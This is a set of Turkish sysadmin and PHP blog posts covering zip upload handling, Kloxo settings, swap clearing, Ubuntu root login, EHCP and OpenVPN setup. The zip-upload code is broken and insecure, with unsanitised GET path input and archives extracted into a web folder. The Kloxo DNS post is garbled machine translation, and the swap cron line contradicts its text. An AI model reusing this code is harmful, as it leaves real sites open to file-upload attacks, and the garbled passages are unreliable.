$list.=&quot;}&quot;;

echo $list;
}
}

$db-&gt;close();
?&gt;
</pre>
<p><a href="http://demo.serpito.com/chain-select/" target="_blank"><img class="alignleft size-full wp-image-1475" title="demo" src="http://www.serpito.com/wp-content/uploads/demo.png" alt="" width="80" height="25" /></a></p>
<p>&nbsp;</p>
<p><a href="http://www.box.com/s/offguc4p56p17r00qtng" target="_blank"><img class="alignleft size-full wp-image-1476" title="download" src="http://www.serpito.com/wp-content/uploads/download.png" alt="" width="149" height="25" /></a></p>
<p>&nbsp;</p>
<p><a href="http://www.box.com/s/268ac6089142a0b55ada" target="_blank" title=" Turkiye İl, İlce , Semt, Mahalle Veritabanı İndir"><img src="http://www.serpito.com/wp-content/uploads/1338377432_application-x-sqlite2.png" alt="sqldown" title="sqldown" width="22" height="22" class="alignleft size-full wp-image-1580" /> Turkiye İl, İlce , Semt, Mahalle Veritabanı</a> </p>


title: PHP: ZipArchive:Zip dosya upload işlemleri
source: http://www.serpito.com/php-ziparchive-zip-dosya-islemleri/
author: Atilla Akoğlu
description:
<p><img src="http://www.serpito.com/wp-content/uploads/winzip1.gif" alt="PHP ile Zip ExtractTo" title="PHP ile Zip ExtractTo" width="220" height="220" class="alignleft size-full wp-image-1577" /><br />
Bazı projelerde ihtiyacınız olabilecek bir konu, PHP ile ZipArchive Sınıfını kullanımı. Bu sınıf 5.2.0 ve üzeri sürümlerde aktif kullanılabilmektedir. </p>
<p>PHP ZipArchive sınıfının tüm özelliklerini <a href="http://www.php.net/manual/tr/class.ziparchive.php" title="PHP Zip Archive">burada</a> inceleyebilirsiniz.</p>
<p>Zip dosyasını upload ettikten sonra, işleyebilmek için ZipArchive sınıfında ExtractTo fonksiyonunu kullanmamız gerekiyor. </p>
<p>ZipArchive için örnek kullanım modeli şu şekilde;</p>
<pre class="brush: php; ">

&lt;?php
$zip = new ZipArchive;
if ($zip-&gt;open(&#039;test.zip&#039;) === TRUE) {
    $zip-&gt;extractTo(&#039;/my/destination/dir/&#039;);
    $zip-&gt;close();
    echo &#039;ok&#039;;
} else {
    echo &#039;failed&#039;;
}
?&gt;
</pre>
<p>Bu işlemleri daha net görebilmeniz için, küçük bir zip upload formu ve zip dosyasındaki dosyaların istenilen klasöre taşındığı basit bir uygulama kodlarını ekliyorum;</p>
<h3>index.php</h3>
<pre class="brush: php; ">

  &lt;form method=&quot;post&quot; action=&quot;post.php&quot; enctype=&quot;multipart/form-data&quot;&gt;
        	&lt;p&gt;
            	&lt;label&gt;Resim: &lt;/label&gt;&lt;br /&gt;
                &lt;input type=&quot;file&quot; name=&quot;resim&quot; /&gt;  (yanlızca .zip resim yükleyebilirsiniz)
            &lt;/p&gt;&lt;br /&gt;

            &lt;p&gt;
            	&lt;input type=&quot;submit&quot; name=&quot;ekle&quot; value=&quot;EKLE&quot; /&gt;
            &lt;/p&gt;
        &lt;/form&gt;
</pre>
<p>index.php dosyasındaki form aracılığıyla yüklenen dosyayı <strong>post.php</strong>&#8216;e aktarıyoruz. <a href="http://www.serpito.com/php-resim-upload-script/" title="PHP ile upload">file uplod</a> ve <a href="http://www.serpito.com/php-files/" title="PHP File Manipulation">file manipulation</a> işlemlerini <strong>post.php</strong>&#8216;de gerçekleştiriyoruz.</p>
<h3>post.php</h3>
<pre class="brush: php; ">

&lt;?php
if(isset($_FILES[&#039;resim&#039;])){
        if($uploaded_type==&#039;application/x-zip&#039; || $uploaded_type ==&#039;application/zip&#039; || $uploaded_type==&#039;application/x-zip-compressed&#039; || $uploaded_type==&#039;application/octet-stream&#039;){
                 /** yuklenen dosyaninn zip olduguna emin olduktan sonra kod blogu calisir */
		 $ext=end(explode(&quot;.&quot;,basename($_FILES[&#039;resim&#039;][&#039;name&#039;])));  // dosyanin uzantisi aliniyor
		 $yeni=&quot;serpito_&quot;.time().&quot;.&quot;.$ext;
		 $ziptar= &quot;../images/zip/&quot;.$yeni;  // zip dosyasının istedigimiz yere, yeni isimle upload ediyoruz

                 if(move_uploaded_file($_FILES[&#039;resim&#039;][&#039;tmp_name&#039;], $ziptar)){

                    $path=&quot;../images/zip/&quot;; // klasor yolu
		    $file=$path.stripslashes($_GET[&#039;zip&#039;]); // dosyanin tam pathi

		     $zip = new ZipArchive;  // ZipArchive sınıfı tanimlaniyor.

		     $res = $zip-&gt;open($path.$_GET[&#039;zip&#039;]);
		     if ($res === TRUE) {
		             $zip-&gt;extractTo($path.&quot;tr/&quot;);   // zip dosyasi icerigi &quot;images/zip/tr/&quot; dizinine cikariliyor.
			     $zip-&gt;close();
		      } else {
			   echo &#039;Bilinmeyen hata&#039;;
		     }

                  /** zip dosyasinin icinden cikan dosya icerigini listeleyim  */

                   echo &quot;&lt;ul&gt;&quot;;
                   $direc=scandir($path.&quot;tr/&quot;);   // scandir fonksiyonu
                   foreach($direc as $res){
			echo &quot;&lt;li&gt;&quot;.$res.&quot;&lt;/li&gt;&quot;;
	           }

                   echo &quot;&lt;/ul&gt;&quot;;

		}

       }else{
                echo &quot;Yüklediğiniz dosya zip formatında değil. Lütfen .zip uzantılı dosya upload ediniz.&quot;;
       }
}
?&gt;
</pre>


title: Lxadmin / Kloxo DNS Ayarları
source: http://www.gokhanbaran.com/lxadmin-kloxo-dns-ayarlari/
author: admin
description:
<p>Kloxo ile size &#8220;ns1 ve ns2.alanadiniz.com&#8221; gibi özel DNS kayıtları ya da size VPS müşterilerimize sunduğumuz DNS sunucularını kullanabilirsiniz etkinleştirmek kendi nameserver, çalıştırmak için tercih edebilirsiniz.<br />
<strong>* </strong>ana faydaları kullanmaya Kloxo&#8217;s sizi Kloxo aracılığıyla tüm DNS ayarlarını yönetebilir ve özel nameserver oluşturmaktır. DNS seçenekleri inşa Bu size Kloxo oluşturduğunuz tüm etki kolay yönetimi sağlar. downsides kurulum biraz kafa karıştırıcı ve sorun daha DNS konularda çalıştırmak zordur, eğer edilebilir.<br />
<strong>* </strong>Eğer Kloxo DNS seçeneği kullanmak istemiyorsanız size Kloxo üzerinden bir etki alanı eklemek kez HyperVM aracılığıyla alan dosyaları oluşturmak gerekir. HyperVM seçeneği ve Kloxo üzerinden herhangi bir ek kurulum gerektiriyor &#8220;işe yarıyor&#8221;. Bu yöntemi alanı yönetimi için genel bir bit ekler olsa da uzun vadede kolay bir seçim olabilir görebilirsiniz.<br />
<span id="more-249"></span><br />
<strong>Aşağıdaki belgede DNS talimatlara bakın HyperVM seçeneği ile sopa istiyorsanız</strong><strong>:</strong><br />
Bu talimatların kalan Kloxo DNS sunan ilişkilidir.<br />
<img src="http://img818.imageshack.us/img818/2139/kloxosetupdnsicon.png" alt="" border="0" /><br />
Almak için ana ekrandan &#8220;DNS Templates&#8221; ikonuna tıklayın başladı.<br />
<img src="http://img220.imageshack.us/img220/1742/kloxosetupdnstemplatesc.png" alt="" width="397" height="300" border="0" /><br />
Dolgu olarak yukarıda belirtilen bilgileri. ns1 ve ns2.alanadiniz.tld adınızı sunucuları, Örnek için kullanmak istediğiniz alanı ile değiştirilmesi gerekir: ns1 ve ns.alanadiniz.com</p>
<p>İşiniz bittiğinde &#8220;Ekle&#8221; butonuna tıklayın. Eğer ana DNS Şablonlar ekranına geri dönecektir. Düzenleyebilir Buradan sizin listede adını tıklayarak şablonları. Amacıyla bu nameserver artık domaininizi aldığınız nameserver kayıt gerekecektir çalışması için.</p>
<p>Bazı kayıt her nameserver için benzersiz bir IP adresine sahip gerektirir. Planın sadece bir IP adresi içeriyorsa ek olanlar şu anda $ IP başına 3/month olan aylık oran üzerinden satın alınabilir. Sizin ek IP adresi, DNS şablonunda &#8220;ns2&#8243;nin A kaydını değiştirmek ve hesabınıza eklenen yeni IP adresi değiştirmek gerekecektir eklendikten sonra.</p>


title: Lxadmin Kloxo Türkçe Karakter Problemi
source: http://www.gokhanbaran.com/lxadmin-kloxo-turkce-karakter-problemi/
author: admin
description:
<div id="attachment_225" class="wp-caption alignleft" style="width: 151px"><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/08/lx_kloxo_logo.jpg"><img class="size-medium wp-image-225" title="lx_kloxo_logo" src="http://www.gokhanbaran.com/wp-content/uploads/2011/08/lx_kloxo_logo-300x145.jpg" alt="" width="141" height="68" /></a><p class="wp-caption-text">Kloxo</p></div>
<p><strong>Putty ile ssh root girişi yaptıkdan sonra;</strong></p>
<p><strong>Lxadmin için</strong></p>
<div>
<div>Kod:</div>
<pre dir="ltr">touch /usr/local/lxlabs/lxadmin/httpdocs/lang/tr/charset
echo UTF-8 &gt;&gt; /usr/local/lxlabs/lxadmin/httpdocs/lang/tr/charset</pre>
<p><span id="more-253"></span></div>
<p><strong>Kloxo için</strong></p>
<div>
<div>Kod:</div>
<pre dir="ltr">touch /usr/local/lxlabs/kloxo/httpdocs/lang/tr/charset
echo UTF-8 &gt;&gt; /usr/local/lxlabs/kloxo/httpdocs/lang/tr/charset</pre>
</div>
<p><span style="color: red;">kodu sadece bir kere uygulayın</span></p>
<p>kendiniz girmek için</p>
<p><strong>lxadmin için</strong></p>
<p>nano /usr/local/lxlabs/lxadmin/httpdocs/lang/tr/charset</p>
<p><strong>kloxo için </strong></p>
<p>nano /usr/local/lxlabs/kloxo/httpdocs/lang/tr/charset</p>
<p>UTF-8 yazıp kaydetip çıkın</p>
<p>ilk açıldığında .UTF-8. diye kod var bu UTF-8 e çevrilecek</p>
<p>.UTF-8. UTF-8 olacak</p>


title: Linux Şişen Ram i Boşaltma-Düzenleme (SWAP temizleme)
source: http://www.gokhanbaran.com/linux-sisen-ram-bosaltma-duzenleme-swap-temizleme/
author: admin
description:
<div id="pid_627" style="text-align: justify;">
<div id="attachment_177" class="wp-caption alignleft" style="width: 164px"><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/08/linux-logo.jpg"><img class="size-full wp-image-177" title="linux logo" src="http://www.gokhanbaran.com/wp-content/uploads/2011/08/linux-logo.jpg" alt="" width="154" height="132" /></a><p class="wp-caption-text">Bind DNS</p></div>
<p>Değerli linux kullanıcıları ramlar bildiğiniz gibi programların bilgilerinin depolandığı alanlardır ve server işletiminde ve php,apache vb. çalıştırırken ram&#8217;e başvurulu. Zamanla ram gerekli gereksiz bilgilerle dolar ve yeterli boş ram kalmayınca sistem hdd üzerinden bir alanı ram’miş gibi kullanmaya başlar. Genelde bu alan linux kurulumunda normal ramin 2 katı verilir ve gerçek ram kadar hılzı okuma ve yazma hızına sahip değildir,hdd niz yavaşsa bu süre dahada artacaktır ve belirli bi süre swapda çalışan apache çökme yapacaktır. Özellikle server yönetim paneli lxadmin kloxo&#8217;da bunu sıklıkla yapmak lazım.Bir kaç basit ssh kodlamasıyla dolan swapı boşatmayı göstereceğim.</p>
<p>&nbsp;<br />
<span id="more-255"></span><br />
Putty ile Ssh ile root girişi yaptıktan sonra.<br />
1. aşamada</p>
<div>
<div>Kod:</div>
<div dir="ltr">
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nano -w /usr/bin/swapbosalt</div></div>
</div>
</div>
<p>ile bir boş sayfa açıyoruz<br />
Buraya<br />
2. aşamada aşağıdaki kodları<br />
giriyoruz</p>
<div>
<div>Kod:</div>
<div dir="ltr">
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">echo -e &quot;noutput of free before:&quot;<br />
&amp;amp;&amp;amp;<br />
free &amp;amp;&amp;amp;<br />
swapoff -a &amp;amp;&amp;amp; swapon -a<br />
&amp;amp;&amp;amp;<br />
echo -e &quot;noutput of free after:&quot; &amp;amp;&amp;amp;<br />
free<br />
&amp;amp;&amp;amp;<br />
echo -e &quot;&quot;</div></div>
</div>
</div>
<p>3. aşamada Ctrl+X (kaydedip) + Y (değişiklikleri onaylıyoruz)</p>
<p>4. aşamada</p>
<div>
<div>Kod:</div>
<div dir="ltr">
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">chmod +x /usr/bin/swapbosalt</div></div>
</div>
</div>
<p>5. aşamada komut satırına</p>
<div>
<div>Kod:</div>
<div dir="ltr">
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">swapbosalt</div></div>
</div>
</div>
<p>yazdığımızda gereksiz ram kalıntıları boşalmış oluyor.</p>
<p>Genelde aşırı trafikli sitelerde, swap taşması yaşandığında, ddos alırken vb.<br />
bu işlemi yapmak performansı arttıracaktır.</p>
<p>Zamanlandırılmış görevler girerek bu işlemi her 24 saatte bir<br />
gerçekleştirebilirsiniz.</p>
</div>
<p>cron eklemek için</p>
<p>nano /etc/crontab</p>
<p>0-59/5 * * * *  root /usr/bin/swapbosalt &gt;&amp; /dev/null</p>
<p>5 dk bir çalışır bu</p>
<p>Kaydedin çıkın</p>


title: Ubuntu root kullanıcı olarak giriş yapmak için
source: http://www.gokhanbaran.com/ubuntu-root-kullanici-olarak-giris-yapmak-icin/
author: admin
description:
<p><a id="set-post-thumbnail" title="Öne çıkarılmış görseli belirle" href="media-upload.php?post_id=258&amp;type=image&amp;TB_iframe=1"><img class="alignleft" title="49503-1" src="http://www.gokhanbaran.com/wp-content/uploads/2011/08/49503-1-200x300.png" alt="Linux" width="148" height="166" /></a></p>
<p>Konsolu açıyoruz</p>
<p>root şifresi ayarlamadıysanaz</p>
<p><strong>sudo passwd root </strong>yazıyoruz, enter yapıp şifre istiyor ve vermek istediğimiz şifreyi yazıyoruz.</p>
<p><strong>sudo gedit /etc/gdm/gdm.conf   </strong>yazıyoruz,  &#8220;hangi editörü kullanıyorsanız onu kullanabilirsiniz.&#8221;</p>
<p>Security altında “<strong>AllowRoot=false</strong>” yazan yeri “<strong>AllowRoot=true</strong>” olarak değiştirip kaydediyoruz.</p>
<p>Oturumdan çıkış yapıyoruz ve kullanıcı girişi olarak root yazıp şifremizi yazdığımızda artık root olarak giriş yapabiliriz.</p>
<p>Kolay Gelsin <img src='http://www.gokhanbaran.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>


title: Ubuntu Server Üzerine EHCP (Easy Host Control Panel) Kurulumu
source: http://www.gokhanbaran.com/ubuntu-server-uzerine-ehcp-easy-host-control-panel-kurulumu/
author: admin
description:
<div class="mceTemp">
<div id="attachment_266" class="wp-caption alignleft" style="width: 161px"><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/10/zeropoint_logo.png"><img class="size-full wp-image-266" title="zeropoint_logo" src="http://www.gokhanbaran.com/wp-content/uploads/2011/10/zeropoint_logo.png" alt="" width="151" height="97" /></a><p class="wp-caption-text">EHCP</p></div>
<p>EHCP (Easy Host Control Panel) linux sunucularımız yönetebilmek için ücretsiz bir paneldir. Bu panel ile basit bir şekilde yerni web siteleri oluşturabilir mail, ftp, dns gibi ayarlamaları çok basit bir şekilde halledebiliriz.  Bu yazımızda bir saat içinde bunu sunucumuza nasıl kuracağimizi göreceğiz. Bunun için bize bir adet sabit ip gerekmektedir. modemimizden ilgili portları lokal ipmize port yönlendirmesi yapmamız gerekmektedir.</p>
</div>
<p>ilk başta yapmamız gereken. ubuntu serverimiza sabit ip vermek olmalıdır.</p>
<p>bunun için<br />
<span id="more-263"></span><br />
&nbsp;</p>
<p><span style="color: #333333;">sudo su</span></p>
<p>ile root olalım</p>
<p>nano /etc/network/interfaces</p>
<blockquote>
<pre># The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
        address 192.168.1.200
        netmask 255.255.255.0
        network 192.168.1.0
        broadcast 192.168.1.255
        gateway 192.168.1.1</pre>
<p>&nbsp;</p></blockquote>
<p>Dizininde değişiklikleri yapalım (Bu benim iplerim kendinize göre düzenleyin)</p>
<p>/etc/resolv.conf: dosyasına dns bilgilerimizi girelim.</p>
<blockquote><p>nano /etc/resolv.conf</p></blockquote>
<blockquote>
<pre>nameserver 192.168.1.1</pre>
</blockquote>
<p>değişikliklerin kaydedilmesi için network kart ayarlarımızı yeniden başlatalim</p>
<blockquote><p>/etc/init.d/networking force-reload</p></blockquote>
<p>artık EHCP’yi kurmaya başlayabiliriz.</p>
<blockquote><p>wget <a title="www.ehcp.net/ehcp_latest.tgz" href="http://www.ehcp.net/ehcp_latest.tgz">www.ehcp.net/ehcp_latest.tgz</a><br />
tar<br />
-zxvf ehcp_latest.tgz<br />
cd ehcp<br />
./install.sh</p></blockquote>
<blockquote><p>&nbsp;</p></blockquote>
<p>&nbsp;</p>
<p>kurulum bizden mysql root parolasını girmemizi isteyecektir (bunu sistem parolamız ile aynı vermek zorunda degiliz)</p>
<p>&nbsp;</p>
<p>kurulum scripti bize çeşitli sorlar soracaktir.</p>
<p>&nbsp;</p>
<p>mail server konfigurasyonunu seçmeliyiz “internet site”</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>ok diyerek SSL sertifikasını oluşturmasını sağlayalım</p>
<p>&nbsp;</p>
<p>phpmyadmin konfigurasyon ekranı apache2 yi seçip devam diyelim.</p>
<p>&nbsp;</p>
<p>ve tamam</p>
<p>admin paneline girmek için</p>
<p><a href="http://ipadresiniz/ehcp">http://ipadresiniz/ehcp</a>   adresinden girebilirsiniz.</p>
<p><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/10/Log-in-to-EHCP_1306321440776.png"><img class="size-medium wp-image-264 alignnone" title="Log-in-to-EHCP_1306321440776" src="http://www.gokhanbaran.com/wp-content/uploads/2011/10/Log-in-to-EHCP_1306321440776-300x283.png" alt="" width="300" height="283" /></a></p>
<p>&nbsp;</p>
<p><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/10/ehcp2.png"><img class="alignnone size-medium wp-image-265" title="ehcp2" src="http://www.gokhanbaran.com/wp-content/uploads/2011/10/ehcp2-300x134.png" alt="" width="303" height="209" /></a></p>


title: Ubuntu Üzerine OpenVPN Kurulumu
source: http://www.gokhanbaran.com/ubuntu-uzerine-openvpn-kurulumu/
author: admin
description:
<div id="attachment_237" class="wp-caption alignleft" style="width: 121px"><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/08/49503-1.png"><img class="size-medium wp-image-237" title="49503-1" src="http://www.gokhanbaran.com/wp-content/uploads/2011/08/49503-1-200x300.png" alt="" width="111" height="122" /></a><p class="wp-caption-text">Linux</p></div>
<p>İnternet üzerinden her hangi bir yere bağlandığımızda (web sayfası, dosya<br />
alış-verişi, sohbet vb.) aradaki veri akışı paketler halinde olur. Bu paketler<br />
ağ şeklinde düzenlenmiş İnternet alt yapısı üzerinde bir çok nokta üzerinden<br />
atlayarak gideceği yere varır. Bu noktaların her birinde paket içeriği<br />
görüntülenebilir ve hatta içeriği değiştirilebilir.<br />
<span id="more-272"></span><br />
Bankacılık gibi<br />
parola girilmesi gereken &#8216;hassas&#8217; sayfalarda bilgi güvenliğinin sağlanması amacı<br />
ile SSL (Secure Socket Layer &#8211; Güvenli Bağlantı Katmanı) adı verilen bir sistem<br />
kullanılır. Web tarayıcının adres çubuğunda kilit resminin göründüğü sayfalarda<br />
bu sistem uygulanıyor ve bilgi güvenliğiniz sağlanıyordur. SSL sistemi gidip<br />
gelen verilerin sadece gönderenin veya alanın açabileceği şekilde şifrelenmesini<br />
ve böylece ara noktalarda verinin erişilememesi ilkesine dayalı<br />
çalışır.</p>
<p>Yerel ağ birbirine yakın mesafedeki bilgisayarlar için<br />
kullanılan bir kavramdır. Daha doğru bir tanımla cihazlar arasında verilerin<br />
geçtiği bütün noktaların tüm erişim haklarının tek bir kişi/kurum tarafından<br />
yönetildiği ağlara yerel ağ diyebiliriz. Yani aynı yerel ağda bulunan iki cihaz<br />
arasında yapılan bilgi alış verişi (ağda bir sorun olmadığı sürece) yabancı<br />
kişiler tarafından görülemez. Burada şu açıklamayı yapmam gerekiyor: Aynı yerel<br />
ağda bulunan cihazlar İnternet üzerinden erişilebilecek sunucular üzerinden<br />
bağlantı kurabilirler. Örneğin bir çok sohbet programı bu mantık ile çalışır. Bu<br />
durumda bilgi ağ dışına çıktığı için görülebilir olmaktadır.</p>
<p>VPN kavramı<br />
Virtual Private Network yani Sanal Özel Ağ, kısaca İnternet üzerinden<br />
istediğiniz yerel ağa, şifreli ve güvenli olarak bağlanabilme kavramının adıdır.<br />
Yani VPN kullanıldığında İnternet&#8217;e bağlı her hangi bir noktadan, ayarları daha<br />
önce yapılmış olan, her hangi bir yerel ağa güvenli bir biçimde bağlanılabilir.<br />
Böylece veri güvenliği kaygıları yaşamadan yerel ağın kaynaklarına (Ağ yazıcısı,<br />
kurum içi web/dosya sunucusu, VoIP telefon sistemi v.b.) İnternet üzerinde her<br />
hangi bir yerden erişilebilir.</p>
<p>VPN ile bir noktaya şifreli olarak<br />
bağlandıktan sonra bütün İnternet bağlantılarınızı bağlandığınız cihaz üzerinden<br />
yapabilirsiniz. Özellikle açık kablosuz bağlantı noktalarında güvenliğinizin<br />
sağlanması için bu yöntemi seçebilirsiniz. Bu yöntemi kullandığınızda sizin<br />
bilgisayarınız ile bağlandığınız cihaz arasında bir tünel oluşturulacak ve<br />
İnternet&#8217;e sanki bu tünelin ucundan ulaşıyormuşsunuz gibi olacaktır. Yani<br />
bağlandığınız noktaya kadar bütün veriler şifreli gidecek, eğer bağlanılan<br />
sunucu, açılan sayfa şifreleme istemiyorsa, VPN ile bağlandığınız noktadan sonra<br />
şifresiz olacaktır.</p>
<p>VPN kurmak için kullanılan yöntemlerden sık<br />
kullanılan ikisi:</p>
<p>• IPSec (Internet Protokol Güvenliği)</p>
<p>•<br />
SSL/TLS</p>
<p>İkisi arasındaki temel fark şifrelemenin gerçekleştirildiği<br />
taşıma seviyesidir. Daha detaylı bilgi için [2] &#8216;ye bakabilirsiniz. Şu anda<br />
söyleyebileceğim nadir de olsa IPSec paketlerinin bazı yönlendiriciler üzerinden<br />
geçerken sorun çıkarabildiğidir.</p>
<p>VPN teknolojileri neredeyse bütün<br />
işletim sistemleri için kullanılabilir durumdadır. Ubuntu için de bir çok<br />
alternatif vardır. Bu alternatiflerden biri olan openVPN&#8217;i biraz inceleyelim.<br />
openVPN Ubuntu&#8217;nun yanında neredeyse bütün işletim sistemlerinde<br />
çalışmaktadır.</p>
<p>Kurulum</p>
<p>openVPN Ubuntu&#8217;nun universe<br />
(katkı) depolarında bulunmaktadır. Bu depoyu kullanıyorsak uçbirimden;</p>
<pre>$ apt-get install openvpn</pre>
<p>komutunu vererek ya da<br />
<a href="apt://openvpn">apt://openvpn</a> bağlantısına tıklayarak openvpn&#8217;i<br />
kurabiliriz.</p>
<p>openVPN Nasıl<br />
Çalışır?</p>
<p>Çok fazla kuramsal bilgiye girmeden kısaca açıklamaya<br />
çalışayım: openVPN&#8217;i kurduğunuz ve çalıştırdığınız zaman sisteminize tun0 adında<br />
bir ağ ara birimi daha eklendiğini görürsünüz. Bu sanal bir ağ ara birimidir. Bu<br />
ara birim üzerinden gönderilen paketler şifrelenerek kullanımda olan gerçek ağ<br />
ara birimlerine aktarılırlar.</p>
<p>OpenVPN iki farklı veri katmanında çalışır:<br />
Katman 2 ve katman 3. Biraz ileri düzeyde bilgi gerektiren bu kavramları kısaca<br />
açıklamaya çalışayım. Katman 2 bir birine 1. dereceden (anahtar ya da hub<br />
kullanarak) bağlı bilgisayarların bağlanma şeklidir. IP adresleri olmasına<br />
karşın iletişim cihazlarının MAC yani fiziksel adresleri kullanılarak yapılır.<br />
Katman 3 ise (bu uygulama özelinde) IP adreslerinin birbirine yönlendirilmesi<br />
ile kurulan bir iletişim biçimidir. Örneğin yönlendiriciler birbirleri ile bu<br />
katmanda haberleşirler. openVPN paketleri 2. ya da 3. katmandayken alıp<br />
şifreleyebilir. Ne yaptığınızı bilmiyorsanız 3. katmanı kullanmanız tavsiye<br />
edilir.</p>
<p>openVPN kurulumu sunucu &#8211; istemci ve noktadan noktaya (p2p) olmak<br />
üzere iki şekilde yapılabilir. noktadan noktaya yalnızca iki cihaz arasında<br />
güvenli bağlantı kurulmak isteniyorsa tercih edilebilir. TLS sertifikaları<br />
oluşturulmadan, yalnızca bir parola ayarlanıp, bağlantının iki ucuna da<br />
girilerek bağlantı kurulabilir. Sertifika kullanımından daha güvensizdir. Sunucu<br />
- istemci modeli ise adından da anlaşılabileceği üzere bir sunucu ve birden<br />
fazla istemciden oluşabilir. Böylece ikiden fazla cihazın birbirine güvenli<br />
yoldan bağlanabilmesi sağlanır. İstemci olan bütün cihazlar sunucuya bağlanırlar<br />
ve eğer izin verilirse aralarındaki iletişim sunucu üzerinden yapılır. Her<br />
istemci ve sunucu arasında bağlantı yapılırken sertifika kontrolü<br />
yapılır.</p>
<p>openVPN<br />
ayarları</p>
<p>openVPN ayarları bir dosyaya düz metin halinde kaydedilir<br />
ve program çalıştırılırken ayarları bu dosyadan alması söylenir. MS Windows<br />
üzerinde ayarlar .ovpn soyadlı dosyalara kaydedilir.</p>
<p>Parola Korumalı</p>
<p>İlk olarak daha kolay<br />
olan noktadan noktaya &#8211; p2p tünel oluşturmak için gerekli kısa ayarlara<br />
bakalım.</p>
<p>Öncelikle iki cihazın birbirini tanımasını sağlayacak parolayı<br />
(anahtarı) üretmemiz gerekiyor. Bunun için:</p>
<pre>$ openvpn --genkey --secret parola.key</pre>
<p>komutunu<br />
veriyoruz. Bağlantı için gerekli olan parola parola.key dosyası içerisinde<br />
oluşturuldu. parola.key dosyasını diğer bilgisayara güvenli bir şekilde<br />
ulaştırmamız gerekiyor. Eğer bu dosya başka birinin eline geçerse güvenli<br />
ağımıza dahil olabilecektir. Şimdi birbirine bağlanacak cihazlardan birini<br />
sunucu, diğerini ise istemci olarak atamamız gerekiyor. Aşağıdaki ayarları birer<br />
metin dosyasına yazıp, ilgili cihazlara ait parola.key dosyası ile aynı dizin<br />
içerisine koymamız gerekiyor.</p>
<p>Sunucu olacak cihaz için ayar dosyası<br />
(sunucu.conf):</p>
<pre>dev tun

ifconfig 10.8.0.1 10.8.0.2

secret parola.key</pre>
<p>istemci<br />
olacak cihaz için ayar dosyası (istemci.conf):</p>
<pre>remote sunucu.adresi

dev tun

ifconfig 10.8.0.2 10.8.0.1

secret parola.key</pre>
<p>sunucu.adresi<br />
&#8216;ni sunucunun IP veya alan adı adresi ile değiştirmeniz gerekir. İstemci,<br />
sunucuya UDP 1194 portundan erişmeye çalışacaktır. Eğer sunucu bir NAT, firewall<br />
ya da ADSL modem arkasındaysa bu portun sunucuya yönlendirilmesi gerekmektedir.<br />
Her bir ayar dosyasındaki ifconfig satırlarının ilki cihazın ip adresi, ikincisi<br />
de karşıdaki cihazın ip adresi olarak atanacaktır. Sunucu üzerinde</p>
<pre>$ openvpn sunucu.conf</pre>
<p>komutunu, daha sonra<br />
istemci üzerinde</p>
<pre>$ openvpn istemci.conf</pre>
<p>komutunu verdiğiniz zaman<br />
iki cihazın birbirine bağlanması gerekir. İstemci üzerinden</p>
<pre>$ ping 10.8.0.1</pre>
<p>komutunu vererek bağlantıyı test<br />
edebilirsiniz. (Eğer ping isteklerine yanıt gelirse, bağlantı çalışıyor<br />
demektir.)</p>
<p>Daha fazla bilgi için: <a href="http://openvpn.net/index.php/documentation/miscellaneous/static-key-mini-howto.html">http://openvpn.net/index.php/documentation/miscellaneous/static-key-mini-howto.html</a><br />
adresine bakmanızda fayda var.</p>
<p>Sertifikalı Bağlantı</p>
<p>Birden fazla<br />
bilgisayarın birbirine bağlanabilmesini sağlamak ve güvenliği artırmak için<br />
sertifikalı bağlantıların seçilmesi daha uygun olacaktır.</p>
<p>Sertifikalı<br />
bağlantılar çalışma biçimleri özetle şöyle açıklanabilir: Her bir cihazın<br />
sertifikası tek bir sertifika otoritesi (certificate authority &#8211; CA) tarafından<br />
imzalanır. Bağlantı kuracak taraflar birbirlerine sertifikalarını gönderirler.<br />
Sertifikayı alan taraf sertifika otoritesine bakarak sertifikanın gerçek olup<br />
olmadığını anlar. Eğer sertifika gerçekse, bundan sonra gönderilen veriler bu<br />
sertifika (kamu anahtarı) kullanılarak şifrelenir. Ve şifrelenmiş bu veriyi,<br />
yalnızca sertifika sahibi yani özel anahtarı bulunduran kişi<br />
açabilir.</p>
<p>Sertifika otoritesi olan kuruluşlar vardır. Özellikle<br />
e-ticaret, bankacılık gibi uygulamalarda güvenliğin arttırılması için<br />
sertifikalar bu tür kuruluşlara onaylatılmalıdır. Fakat bizim kuracağımız sistem<br />
kontrolümüz altında olacağı için sertifika otoritesinin de biz olmamızda bir<br />
sorun yoktur.</p>
<p>Yapacağımız işlemler:</p>
<p>• Sertifikalar için<br />
parametreleri belirlemek<br />
• Sertifika Otoritesi (CA) dosyasını<br />
oluşturmak.<br />
• Sunucu için sertifika oluşturma.<br />
• İstemci için sertifika<br />
oluşturma.<br />
• Ayar dosyalarının düzenlenmesi.</p>
<p>openVPN içerisinde<br />
sertifikaların daha kolay oluşturulabilmesi için hazırlanmış bazı kodlar vardır.<br />
Bu kodlar Ubuntu içinde /usr/share/doc/openvpn/examples/easy-rsa/ dizininde<br />
bulunurlar. 2.0 sürümünü aşağıdaki komut ile kendi dizininize kopyalayıp gerekli<br />
anahtarları oluşturmaya başlayabilirsiniz.</p>
<p>(not: Dosyaların bütünlüğünün korunabilmesi açısından<br />
bundan sonraki işlemlerin sunucuda gerçeklenmesi önerilir. Fakat şart<br />
değildir.)</p>
